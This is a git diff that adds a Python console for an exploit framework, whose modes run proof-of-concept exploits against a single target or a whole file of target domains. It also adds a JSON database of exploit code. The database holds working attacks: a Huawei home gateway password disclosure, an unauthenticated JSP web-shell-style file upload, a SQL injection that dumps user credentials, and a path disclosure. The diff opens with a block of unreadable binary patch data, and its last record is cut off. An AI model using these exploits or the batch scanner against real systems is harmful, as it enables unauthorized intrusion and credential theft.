zz27?bDuH?kYbqpA7j?zwk;mIsz&5FW$b`4wCQ)`lFM9Z;D`47TEZu=Zn;?I5j=Xx4D@0B7;8tJlW?!MXkLec%H)Lx=%u_t%t8iR>6VnJ;QCoRoe|xfdOAryDd(ExWevhx>Q!b}!BLnLjiy zohAdCYQZ5xar8YP&=+&{#t!%*FrsF$Hg0-;gI^L$j1Q?1@0yeA>rgMMZto+K_uz$G zVhnNI%*T%4h9Z!^a-}vg2s*KQsR|+nAncg#{Il=%7Hlz+mIhux4M=W&1lEYM<5xZs zV~w#6Pm?7=z5}LV(ij4_uuRBQjxrNc&KryD%q9+yjlyiB&!gA?LVQ|m`x4VcR$yRI z!Yv&;Aj!?BDmHxBiXGj9&_>Hvhi>^JvMfxjSJF`o0(7soAIalcQG5Q^cRjbR>$$F@ zUCwvJKk5H8{;{#=9!bwJd2btrW_$lFd;tuyp^o4#at@Eg0m>e))YYM*(z!*G3Ph+G z8Q=5A4fPKAwiMgaE}T#`XA~QG zmPz;K>1wH4Qevp3D-tOy-R%wQA^AoMvg)8iC&PQlo+@`@N4=8Ee6mW0O7x2lW%gj> zQ6PA60c=RFgJ!OPVbUMBeB%O!cYS(tg>TjS%gYvX-)sB?Mx&T+_x#<4O^v5Q$&`uy zk%u!g(_G=Wh#oFhF^Pz(@)0#pmJWTA@kqlk=aqUcJzq{|GBW z0SqRQEEHzU*!qz~T0o1PI(PfTDI;`zxqRaD;6+C7S&$OsUB8524-j zzy8L$^*6rr-Sz+NAN{-f*WBNDYbkqu!`5$nEmtlfQDX@lPrI!*?*8QS`(_^q^Q=_s z$_efi>IH)%(>#B3>DtBH7hlu}d1VPs-!ZuYO#SpU<$ud*K^u-&N_pefTrE^8(E}>u zp-TU;3G1$tE$0ohWO`kp+U-Ynj=XGiq{}xb2lqwPc%Of$@r0eNxY_Pc{NI?Z955*k zv~t=(!fDCvKWWx4{uRmgy6WzsUTa(0XSk(ek()Z=?h?6AAD8z1<65zxGulx zWob!S(DU!K&fTP0Toe?G0L2jzB5SC0^k^ZHMS3)}r#?9SASGi;o#^|YJVkr{*G&-m z{7(BVTh6lI;NDW^jPxp#GCwfVpV&sI++K3JEBS2DKOQ+e^Be_$vjtQhgNG46@%`EF z-@D~m>oM50>E-nS#CA!}H6XweJF?RtwzHiKT1)f&H^HV{!&N{~A0-1#ypY%ce1|^) zKVEZp^cEPkqc^N}IG}lUK*sAklC`Kt##!xyNr-^(ko>wmmzko}UM6j8Gi)Bt4-O7= zKlmf9&-Ne@HPw1gV(X7=iMj_z3dw9@V0dsKGqOFpsFZZ-#z{!tCnLzGrvyn(I`v@R zH%sj;anl37F_s!iX4dF*FrObwCWlkGM09=SRbA3QIP>Xo%5WHTljv^O=y70pq<^S? zFqbUkHk(#tn8O3vLMk<~EtyRw^ND;ia#M90%i0uJV<>}()L?!nkr?hD+ANL8Nb=c{ zRBA9evTZ0ckk1Yce5H}p02zl<80?y8!VHWJt}&o&J~xt0rV^=abOo^Bj_V2n&LbOqAEqk{|#dQ8+85uQ)-7HD8zW&hLGOE0cOUraK|&GfQ0S$&a^-JqIv$e zx6i%%lTz^z#TfUI;w%W}aKF}BqFCoiz=FkLuCQ*Cg-c6|uNcf(DSWKzlIOn@#%N3k z%^QN_Eb7&(?}Ch~P};5c#M{L)kt?N5fzI4IdkOEdphwT2R<~PoVXk@Qc2&G*k*FZN5<+Kp?%@1uKv>qBpj1joS&CMU6W z*1*ITD;O$Zp3rFjnE|@3z4ofAb za5Zsj55t3pvb5m&xr6b>%Qs&Wuo<9+-~Rv)>B>jFInTaHV8_zUw^<{(q)>iOzls}M zhW+9T&CA!6!ktz@J((UUBsM{l-Hn-BDWL7p;O*CMHLqW!DQu{+8MsyFeQ$Tow zJ{%Zl@J-5VcIsZott45!1B5i*CNMh;lTRlKA8@y-&1!KXD-SCeR_IzHWbvut;NB4-OjHb4nBe2c2|@&T)&A8<6}w}XzA`y4oA z>(YO=e{)%@0%Qu2ITpDS0Mqt@B9zpqRu$l;ARQSnS zug}wqFpW#+6bTWKM9-rlUw!^jtMLG4Swv1#x@p74*=K$CB@$;p0AYo^0i_=j!2@X4H!Ln$0c1mU!c}jFH%2?~)q7>`s~pYb^ab&WNwIEeo{ zO?g*0wp_d)UL)-CvcO++QXFH$Hy}~=d~yzqn*}33C@auPV5=iHa0ai5sAnebbShJy zh#N0Xu~wS~`l;sR`O7j2DTXQPoH6045FTPXk?q$qWq_!UiMv5~0Vi*2x*h{>s*ocW zov?V=m2?YUlo>L-p;n(k2+J6($C}eqh>ypeE%A6CIQNlV94PX7Mw>M4xrg3zIx^^8 z*N`?UECuh@IMm|{yjhmzbcoFN8H+faNXRc0ff9$Q2&}kfiwNH}k-ZGxHfFUJA!jif z+$8Mbk`ZNbXVnCItm1(BA6V-EQ^lbHRt`2*|J$sIKszP^tVz4)rNTgz` zkEVTWmG6r4KhQ7sKRN$FoGh(*gC~}-JKq_*t5lrIP6KOP_t;A$P35_r<~b7)4h#e^ z52K3mU=)-|pno%@DwXlW$?8}qpJ1^I7JS}$1o#B^$O7CsISuJ%qN!s1zV;*|c(Hy4 zJ)T2kuE#8}ZsJ2?qtxmG)9NCsO7p2Z@-I4Oq;U>O_u zw&-oT7a+1+W~>l%o-R}-V$P$}rD?$Wxc+A>&|Dq3J(*cW@G;<26ugo%5P+kX>zs1Z z;;lrkz_lqQv7%=jChr&^%WyvjH5wl*u=olHst4l;2~jE_n5jZpKCp9fb^*>;0Kc#f z2Rs5qUi1miV9U?c;R4G$80J>&5`9&sKtK>xTqG&04#37lkJ1oNr=!kjF$mb;k z_Xmy5>P}T;*LI-ifr$cRubPCX42CM$FvlLW6Sx^rCt0(UPPRDin9b`vS>$0PZW)53 zT(eS*-WmRhVOL6%(N;7Ee%hf zl)Eijxfl{#UnN%qhuMwsqAHp_|IWdmIfzeQ;^(LeuH=6v9qVgZIN3>l^WtAnuz;o3 z=$Pf}RENBwQeyL!-}9B##0d>Iy8QC3(*)ouzf!lWXngLsJdX_)g;dKgEx-5r@*BU? zjyh>(z48;eoub1-Bu2pCavJHwO4Q~m=Sr!RPni1UAma&)&E6 zlD|+1qL(o^3Ir3ZgXT!kY}NpX$;&%rebkz%>3O&jHjqvFQ#=mMDGa^(xdGMmzE+?*^@ zmKmiPgq&BYF>A<3m0{5pnW!*V3N#stb&zIQ5`zFL%c*SB4fJ7!>QWR$Ew3>-$Ow7U zQ&J?{MD(y~x`fiJ3=fITr=r4*x-5-J&=mFRXrow;T%A0#EmfvEt8_LW+wy_nrnDb@ zCH-IS|LV-BadGr?3zS{=)~(Uns#_kWklqjCGPm3PDDrwTp$RX>lL zD1W!vYT>RL9z|-TacNkORD2gAQoXP*E8(v_-8=F)AL9EBq%F4A?mG^%7Uvuh0W^xN z#~GpclV9+x5o^ELgfZ{t1Pu|3QuXG%JbVs76kQS=azcjb@+_YP_H+hXKDc`-7L1>$i zTT9+@e`Kuj>8Xx(me6y^3$9FMh(mKB82wV*0_yK_{?&(gfv6j0_cj((| z%wQiozzdJZcUL7ad#uuvN~JoJayLrFW6_#r`@@%;*H2;C(2~-c1tfL_4GcEcMysWN za?StNWWZ6WK_Ymmwq}YabF*2%fN)lnwybxc--2ns(=GS2$Hmub&-v>2?cmG}8|&L) zj0%Ev8sq;}`hUXM|K$9GH~J3$eXah#Z|#5XQ3?G0t^JQuOaWXHn`!yyvj1J5BOkLh zf0mjlnt`~qa2#i{<{lDYPdOFOh)8wF=G({HAAhXRL~<{+*tv1ui{x9b9j 1 target) sub menu.''' + sm = ShooterMenu() + sm.cmdloop() + + def do_storm(self, arg): + '''[*] Go to the storm(N poc --> 1 target) sub menu.''' + sm = StormMenu() + sm.cmdloop() + + def do_hunter(self, arg): + '''[*] Go to the hunter(1 poc --> N targets) sub menu.''' + hm = HunterMenu() + hm.cmdloop() + + + +class StormMenu(BaseMenu): + prompt = 'beehive.storm > ' + + @recordCmdRet(valName='loadedPocs') + def do_loadsearched(self, arg): + if not self.retLastSearch: + bprint('[-] please make a search first.', 'error') + return + batchablePocPaths = [] + unbatchablePocPaths = [] + for pocInfo in self.retLastSearch: + pocId, name, rank, level, author, createDate, protocol, port, \ + layer4Protocol, appName, vulType, desc, tag, batchable, \ + path = pocInfo + if batchable: + batchablePocPaths.append(path) + else: + unbatchablePocPaths.append(path) + if unbatchablePocPaths: + bprintPrefix('These pocs in last search results are not batchable:', 'warning') + bprintPrefix('They cannot be loaded in Storm mode, please load them '\ + 'singlely in the Shooter mode.', 'warning') + for pocPath in unbatchablePocPaths: + print ' %s' % os.path.basename(pocPath) + if unbatchablePocPaths and batchablePocPaths: + print + if batchablePocPaths: + bprintPrefix('These pocs in last search results are batchable:', 'ok') + bprintPrefix('They are going to be used to load Storm mode scan.', 'ok') + for pocPath in batchablePocPaths: + print ' %s' % os.path.basename(pocPath) + return batchablePocPaths + else: + bprintPrefix('None of the poc in last search result is batchable.', 'warning') + return None + + def help_loadsearched(self): + bprintPrefix('load last searched result(s) to test a target.', 'info') + + @recordCmdRet(valName='retLastScan') + def do_run(self, arg): + if not hasattr(self, 'loadedPocs') or not self.loadedPocs: + bprintPrefix('Please load a poc first.', 'warning') + return + if not arg.strip(): + bprintPrefix('Please enter the target.', 'error') + return + s = Storm(target=arg, + listPocPaths=self.loadedPocs, + poolModule=TestPlatform(), + concurrency=20, verify=True) + ret = s.scan() + JOB_UNSTART = 0 # poc not run + JOB_RUNNING = 1 + JOB_FINISHED = 2 # poc run ok + JOB_ERROR = -1 # error encountered when run poc + JOB_ABORT = -2 # running poc is abort, viz unfinished + print + bprintPrefix('Scan end, Results:\n', 'ok') + res_tb = PrettyTable(['Vulnerability', 'Pid', 'Status', 'Result',]) + res_tb.align['Vulnerability'] = 'l' + for r in ret.values(): + pid = r['args'][0].replace('_', '-') + poc_info = self.database.searchPoc(pid) + state = r['state'] + if state == JOB_FINISHED: + status = str(r['jobRet']['success']) + result = str(r['jobRet']['poc_ret']) + if status == 'None': + status = 'False' + result = 'N/A' + elif status == 'False': + result = 'Not Vulnerable' + elif state == JOB_ERROR: + status = 'Error' + result = r['exception'] + else: + status = 'Error' + res_tb.add_row([poc_info[1][:25]+'...', pid, + status, result[:25]]) + print res_tb.get_string(sortby='Status', reversesort=False) + print + return res_tb, ret + + def help_run(self): + bprintPrefix('Run loaded poc(s)', 'info') + + @recordCmdRet(valName='loadedPocs') + def do_loadall(self, arg): + try: + batchablePocs = self.database.getBatchable() + pocPaths = [] + [pocPaths.append(i[-1]) for i in batchablePocs] + bprintPrefix('%d batchable pocs (%d total pocs) loaded.' % ( + len(pocPaths), + self.database.countAll()[0], + ), 'ok') + return pocPaths + except Exception, err: + print '[-] ', + print err + return + + def help_loadall(self): + bprintPrefix('Load all poc to storm a target.', 'info') + + + +class ShooterMenu(BaseMenu): + prompt = 'beehive.shooter > ' + + @recordCmdRet(valName='loadedPocs') + def do_loadpoc(self, arg): + if not arg.strip().startswith('poc'): + pocName = 'poc-' + arg.strip() + if pocName.strip()[8] != '-': + pocName = 'poc-' + pocName[-8:-4] + '-' + pocName[-4:] + else: + pocName = arg.strip() + pocInfo = self.database.searchPoc( + pocId=pocName.strip().replace('_', '-')) + if pocInfo is None: + bprintPrefix('Cannot find poc %s in database.' % arg, 'error') + return + pocId, name, rank, level, author, createDate, protocol, port, \ + layer4Protocol, appName, vulType, desc, tag, batchable, \ + path = pocInfo + if not path or not os.path.exists(path): + bprintPrefix('Poc file %s not exists, perhaps you have\'t bought '\ + 'it.\n' % path, 'error') + return + try: + p = poc.Poc(path=os.path.join(POC_DIR, '%s.py' % \ + pocName.strip().replace('-', '_')), + batchable=batchable) + mp = p.module.MyPoc(run_in_shell=False) + mp._init_parser(do_parse=False) + bprintPrefix('load %s success!' % path, 'ok') + return mp + except Exception, err: + bprintPrefix(err, 'error') + + def help_loadpoc(self): + bprintPrefix('Load a poc to test a target.', 'info') + + @recordCmdRet(valName='retLastScan') + @BaseMenu.extRunPocOpt([ + cmd2.make_option('-d', '--debug', action="store_true", help="debug mode",) + ]) + def do_run(self, arg, opts=None): + if not hasattr(self, 'loadedPocs') or not self.loadedPocs: + bprintPrefix('Please load a poc first.', 'warning') + return + if not opts.target: + bprintPrefix('No target input!\n', 'warning') + self.runParser.print_help() + return + print + ret = self.loadedPocs.run(options=opts.__dict__, debug=opts.debug) + bprintPrefix('%s:\n' % self.loadedPocs.poc_info['poc']['id'], 'info') + # results view + if ret['options']: + print '%starget: %s' % (' '*4, ret['options']['target']) + try: + if ret['exception']: + print '%sexception: %s' % (' '*4, ret['exception']) + except Exception, err: + pass + if ret['success'] == True: + print ' '*4, + bprintPrefix('success: %s' % ret['success'], 'ok') + print ' '*3, + bprintPrefix('poc_ret: %s' % ret['poc_ret'], 'ok') + else: + print '%ssuccess: %s' % (' '*4, ret['success']) + print + return ret + + def help_run(self): + bprintPrefix('Run poc to shoot a target.', 'info') + + + +class HunterMenu(BaseMenu): + prompt = 'beehive.hunter > ' + + @recordCmdRet(valName='loadedPocs') + def do_loadpoc(self, arg): + if not arg.strip().startswith('poc'): + pocName = 'poc-' + arg.strip() + if pocName.strip()[8] != '-': + pocName = 'poc-' + pocName[-8:-4] + '-' + pocName[-4:] + else: + pocName = arg.strip() + pocInfo = self.database.searchPoc( + pocId=pocName.strip().replace('_', '-')) + if pocInfo is None: + bprintPrefix('Cannot find poc %s in database.' % arg, 'error') + return + pocId, name, rank, level, author, createDate, protocol, port, \ + layer4Protocol, appName, vulType, desc, tag, batchable, \ + path = pocInfo + if not path or not os.path.exists(path): + bprintPrefix('Poc file %s not exists, perhaps you have\'t bought '\ + 'it.\n' % path, 'error') + return + try: + p = poc.Poc(path=os.path.join(POC_DIR, '%s.py' % \ + pocName.strip().replace('-', '_')), + batchable=batchable) + mp = p.module.MyPoc(run_in_shell=False) + mp._init_parser(do_parse=False) + bprintPrefix('load %s success!' % path, 'ok') + return mp + except Exception, err: + bprintPrefix(err, 'error') + + def help_loadpoc(self): + bprintPrefix('Load a poc to test a target.', 'info') + + @recordCmdRet(valName='retLastScan') + @BaseMenu.extRunPocOpt([ + cmd2.make_option('-f', '--file', action="store", help="debug mode"), + ]) + def do_run(self, arg, opts=None): + if not hasattr(self, 'loadedPocs') or not self.loadedPocs: + bprintPrefix('Please load a poc first.', 'warning') + return + file_alert = 'Need to load a targets file. (domains)' + if not opts.file: + bprintPrefix(file_alert, 'warning') + return + if opts.file: + filename = opts.file + if filename[0] == "'": + filename = filename.strip("'") + elif filename[0] == '"': + filename = filename.strip('"') + try: + f_req = open(filename, 'r') + if os.stat(filename).st_size == 0: + bprintPrefix('File content is empty?', 'warning') + return + except Exception, err: + bprintPrefix(str(err), 'error') + return + + # scan main + pocid = self.loadedPocs.poc_info.get('poc').get('id') + (options, args) = self.loadedPocs.base_parser.parse_args( + arg.strip().split()) + h = Hunter(iterTarget=f_req, + pocPath=('./pocs/%s.py' % pocid.replace('-', '_')), + poolModule=TestPlatform()) + ret = h.scan() + + # view table + JOB_UNSTART = 0 # poc not run + JOB_RUNNING = 1 + JOB_FINISHED = 2 # poc run ok + JOB_ERROR = -1 # error encountered when run poc + JOB_ABORT = -2 # running poc is abort, viz unfinished + print + res_tb = PrettyTable(['Target', 'Status', 'Result',]) + res_tb.align['Target'] = 'l' + try: + for r in ret.values(): + target = r['args'] + pid = r['args'][0].replace('_', '-') + poc_info = self.database.searchPoc(pid) + state = r['state'] + if state == JOB_FINISHED: + status = str(r['jobRet']['success']) + result = str(r['jobRet']['poc_ret']) + if status == 'None': + status = 'False' + result = 'N/A' + elif status == 'False': + result = 'Not Vulnerable' + elif state == JOB_ERROR: + status = 'Error' + result = r['exception'] + else: + status = 'Error' + res_tb.add_row([target, status, result[:25]]) + except Exception, err: + import traceback + traceback.print_exc() + print res_tb.get_string(sortby='Status', reversesort=False) + print + return res_tb, ret + + def help_run(self): + bprintPrefix('Run loaded poc(s)', 'info') + + +if __name__ == '__main__': + mm = MainMenu() + mm.cmdloop() diff --git a/pocdb.json b/pocdb.json new file mode 100644 index 0000000..9bac59e --- /dev/null +++ b/pocdb.json @@ -0,0 +1,172 @@ +{"create_date": "2015-07-03 13:38:25", "name": "Huawei Home Gateway UPnP/1.0 IGD/1.00 Password Disclosure Exploit", "level": "\u4e2d\u5371", "batchable": 1, "author": "tmp", "rank": 3, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "\u534e\u4e3a\u6f0f\u6d1e,Password Disclosure Vulnerability", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport socket\r\n\r\nfrom baseframe import BaseFrame\r\nfrom utils.http import transform_target_ip\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0120',\r\n 'name': 'Huawei Home Gateway UPnP/1.0 IGD/1.00 Password Disclosure Exploit',\r\n 'author': 'tmp',\r\n 'create_date': '2015-07-03',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Huawei',\r\n 'vul_version': ['UPnP/1.0', 'IGD/1.00'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['\u534e\u4e3a\u6f0f\u6d1e', 'Password Disclosure Vulnerability'],\r\n 'desc': 'N/A',\r\n 'references': ['https://www.exploit-db.com/exploits/37424/',\r\n ],\r\n },\r\n }\r\n\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n # set timeout\r\n timeout = 20\r\n socket.setdefaulttimeout(timeout)\r\n target = transform_target_ip(args['options']['target'])\r\n if args['options']['verbose']:\r\n print '[*] Connecting to: ' + target\r\n # Connect the socket to the port where the server is listening\r\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n server_address = (target, 80)\r\n sock.connect(server_address)\r\n soap = \"\"\r\n soap +=\"\"\r\n soap +=\"\"\r\n soap +=\"\"\r\n soap +=\"\"\r\n soap +=\"\"\r\n soap +=\"\"\r\n message = \"POST /UD/?5 HTTP/1.1\\r\\n\"\r\n message += \"SOAPACTION: \\\"urn:dslforum-org:service:UserInterface:1#GetLoginPassword\\\"\\r\\n\"\r\n message += \"Content-Type: text/xml; charset=\\\"utf-8\\\"\\r\\n\"\r\n message += \"Host:\" + target + \"\\r\\n\"\r\n message += \"Content-Length:\" + str(len(soap)) +\"\\r\\n\"\r\n message += \"Expect: 100-continue\\r\\n\"\r\n message += \"Connection: Keep-Alive\\r\\n\\r\\n\"\r\n sock.send(message)\r\n data = sock.recv(1024)\r\n if args['options']['verbose']:\r\n print \"[*] Recieved : \" + data.strip()\r\n sock.send(soap)\r\n data = sock.recv(1024)\r\n data += sock.recv(1024)\r\n r = re.compile('(.*?)')\r\n m = r.search(data)\r\n if m:\r\n args['success'] = True\r\n args['poc_ret']['password'] = m.group(1)\r\n sock.close()\r\n return args\r\n\r\n\r\n verify = exploit\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "N/A", "app_name": "\u534e\u4e3a", "id": "poc-2015-0120", "layer4_protocol": null} +{"create_date": "2015-07-01 17:58:49", "name": "\u6cdb\u5fae OA /tools/SWFUpload/upload.jsp \u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e PoC", "level": "\u9ad8\u5371", "batchable": 1, "author": "GurdZain", "rank": 4, "port": null, "vul_type": "\u6587\u4ef6\u4e0a\u4f20", "tag": "\u6cdb\u5faeoa\u6f0f\u6d1e,/tools/SWFUpload/upload.jsp,File Upload,jsp", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0117',\r\n 'name': '\u6cdb\u5fae OA /tools/SWFUpload/upload.jsp \u4efb\u610f\u6587\u4ef6\u4e0a\u4f20\u6f0f\u6d1e PoC',\r\n 'author': 'gurdzain',\r\n 'create_date': '2015-07-01',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': '\u6cdb\u5faeoa',\r\n 'vul_version': ['*'],\r\n 'type': 'File Upload',\r\n 'tag': ['\u6cdb\u5faeoa\u6f0f\u6d1e', '/tools/SWFUpload/upload.jsp', 'File Upload', 'jsp'],\r\n 'desc': '''\r\n http://xxx.xxx.xxx.xxx/tools/SWFUpload/upload.jsp\r\n post:\r\n type=\"file\" name=\"test\"\r\n \u53ef\u4ee5\u65e0\u9700\u767b\u5f55\u76f4\u63a5\u4e0a\u4f20\u4efb\u610f\u6587\u4ef6\u3002\r\n ''',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2014-076547'],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n target_url = args['options']['target'] + \"/tools/SWFUpload/upload.jsp\"\r\n verify_url = args['options']['target'] + \"/nulltest.jsp\"\r\n files = {'test':('test.jsp', r\"\"\"<%@ page import=\"java.util.*,java.io.*\" %>\r\n <%@ page import=\"java.io.*\"%>\r\n <%\r\n String path=application.getRealPath(request.getRequestURI());\r\n File d=new File(path);\r\n out.println(path);\r\n %>\r\n <% out.println(\"payload=true\");%>\"\"\")}\r\n\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + target_url\r\n\r\n req = requests.get(target_url,files=files)\r\n verify_req = requests.get(verify_url)\r\n content = verify_req.content\r\n\r\n if verify_req.status_code == 200 and 'payload=true' in content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "http://xxx.xxx.xxx.xxx/tools/SWFUpload/upload.jsp\r\npost:\r\n type=\"file\" name=\"test\"\r\n\u53ef\u4ee5\u65e0\u9700\u767b\u5f55\u76f4\u63a5\u4e0a\u4f20\u4efb\u610f\u6587\u4ef6\u3002", "app_name": "Other", "id": "poc-2015-0117", "layer4_protocol": null} +{"create_date": "2015-06-28 17:01:51", "name": "\u5927\u7c73CMS /Web/Lib/Action/ApiAction.class.php SQL\u6ce8\u5165\u6f0f\u6d1e POC & Exploit", "level": "\u4e2d\u5371", "batchable": 1, "author": "xyw55", "rank": 3, "port": null, "vul_type": "SQL\u6ce8\u5165", "tag": "damiCMS\u6f0f\u6d1e,ApiAction.class.php\u6f0f\u6d1e,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0116',\r\n 'name': '\u5927\u7c73CMS /Web/Lib/Action/ApiAction.class.php SQL\u6ce8\u5165\u6f0f\u6d1e POC & Exploit',\r\n 'author': 'xyw55',\r\n 'create_date': '2015-06-28',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'damiCMS',\r\n 'vul_version': ['*'],\r\n 'type': 'SQL Injection',\r\n 'tag': ['damiCMS\u6f0f\u6d1e', 'ApiAction.class.php\u6f0f\u6d1e', 'php'],\r\n 'desc': '''\r\n damiCMS SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u4f4d\u4e8e/Web/Lib/Action/ApiAction.class.php\uff0c\r\n \u8fc7\u6ee4\u4e0d\u4e25\u5bfc\u81f4\u6f0f\u6d1e\u3002\r\n ''',\r\n 'references': ['http://www.wooyun.org/bugs/wooyun-2010-097671'],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n url = args['options']['target']\r\n payload = '''s=/api/ajax_arclist/model/article/field/md5(1)%23'''\r\n verify_url = ('%s/index.php?%s') % (url, payload)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200 and 'ca4238a0b923820dcc509a6f75849' in req.content:\r\n args['success'] = True\r\n args['poc_ret']['vul_url'] = verify_url\r\n return args\r\n\r\n\r\n @classmethod\r\n def exploit(cls, args):\r\n url = args['options']['target']\r\n payload = '''s=/api/ajax_arclist/model/article/field/username,userpwd%20from%20dami_member%23'''\r\n verify_url = ('%s/index.php?%s') % (url, payload)\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n req = requests.get(verify_url)\r\n if req.status_code == 200:\r\n pattern = r'username\":\"(.*?)\",\"userpwd\":\"(.{32})\"}'\r\n m = re.findall(pattern, req.content)\r\n if m:\r\n args['success'] = True\r\n args['poc_ret']['user'] = []\r\n for x in m:\r\n args['poc_ret']['user'].append(x)\r\n return args\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "damiCMS SQL\u6ce8\u5165\u6f0f\u6d1e\uff0c\u6f0f\u6d1e\u4f4d\u4e8e/Web/Lib/Action/ApiAction.class.php\uff0c\u8fc7\u6ee4\u4e0d\u4e25\u5bfc\u81f4\u6f0f\u6d1e\u3002", "app_name": "\u5927\u7c73CMS", "id": "poc-2015-0116", "layer4_protocol": null} +{"create_date": "2015-06-25 21:11:56", "name": "Discuz X3.0 full Path Disclosure Vulnerability POC", "level": "\u4f4e\u5371", "batchable": 1, "author": "JustForeg", "rank": 2, "port": null, "vul_type": "\u4fe1\u606f\u6cc4\u6f0f", "tag": "Discuz\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e,Information Disclosure,php", "path": null, "protocol": null, "source_code": "#!/usr/bin/env python\r\n# coding=utf-8\r\n\r\n\"\"\"\r\nSite: http://www.beebeeto.com/\r\nFramework: https://github.com/n0tr00t/Beebeeto-framework\r\n\"\"\"\r\n\r\nimport re\r\nimport requests\r\n\r\nfrom baseframe import BaseFrame\r\n\r\nclass MyPoc(BaseFrame):\r\n poc_info = {\r\n # poc\u76f8\u5173\u4fe1\u606f\r\n 'poc': {\r\n 'id': 'poc-2015-0114',\r\n 'name': 'Discuz X3.0 full Path Disclosure Vulnerability POC',\r\n 'author': 'JustForeg',\r\n 'create_date': '2015-06-25',\r\n },\r\n # \u534f\u8bae\u76f8\u5173\u4fe1\u606f\r\n 'protocol': {\r\n 'name': 'http',\r\n 'port': [80],\r\n 'layer4_protocol': ['tcp'],\r\n },\r\n # \u6f0f\u6d1e\u76f8\u5173\u4fe1\u606f\r\n 'vul': {\r\n 'app_name': 'Discuz',\r\n 'vul_version': ['X3.0'],\r\n 'type': 'Information Disclosure',\r\n 'tag': ['Discuz\u4fe1\u606f\u6cc4\u6f0f\u6f0f\u6d1e', 'Information Disclosure', 'php'],\r\n 'desc': 'discuz X3.0 \u5b58\u5728\u591a\u5904\u7edd\u5bf9\u8def\u5f84\u6cc4\u9732',\r\n 'references': ['N/A', ],\r\n },\r\n }\r\n\r\n @classmethod\r\n def verify(cls, args):\r\n payloads = [\r\n '/api/addons/zendcheck.php',\r\n '/api/addons/zendcheck52.php',\r\n '/api/addons/zendcheck53.php',\r\n '/source/plugin/mobile/api/1/index.php',\r\n '/source/plugin/mobile/extends/module/dz_digest.php',\r\n '/source/plugin/mobile/extends/module/dz_newpic.php',\r\n '/source/plugin/mobile/extends/module/dz_newreply.php',\r\n '/source/plugin/mobile/extends/module/dz_newthread.php',\r\n ]\r\n args['poc_ret']['file_path'] = []\r\n pathinfo = re.compile(r' in (.*) on line')\r\n for payload in payloads:\r\n verify_url = args['options']['target'] + payload\r\n if args['options']['verbose']:\r\n print '[*] Request URL: ' + verify_url\r\n print '[*] GET: ' + payload\r\n req = requests.get(verify_url)\r\n match = pathinfo.findall(req.content)\r\n if match:\r\n args['success'] = True\r\n args['poc_ret']['file_path'].append(match[0])\r\n if not args['poc_ret']['file_path']:\r\n args['poc_ret'].pop('file_path')\r\n return args\r\n\r\n\r\n exploit = verify\r\n\r\n\r\nif __name__ == '__main__':\r\n from pprint import pprint\r\n\r\n mp = MyPoc()\r\n pprint(mp.run())", "desc": "discuz X3.0 \u5b58\u5728\u591a\u5904\u7edd\u5bf9\u8def\u5f84\u6cc4\u9732", "app_name": "Discuz", "id": "poc-2015-0114", "layer4_protocol": null} +{"create_date": "2015-06-25 11:01:12", "name": "Discuz 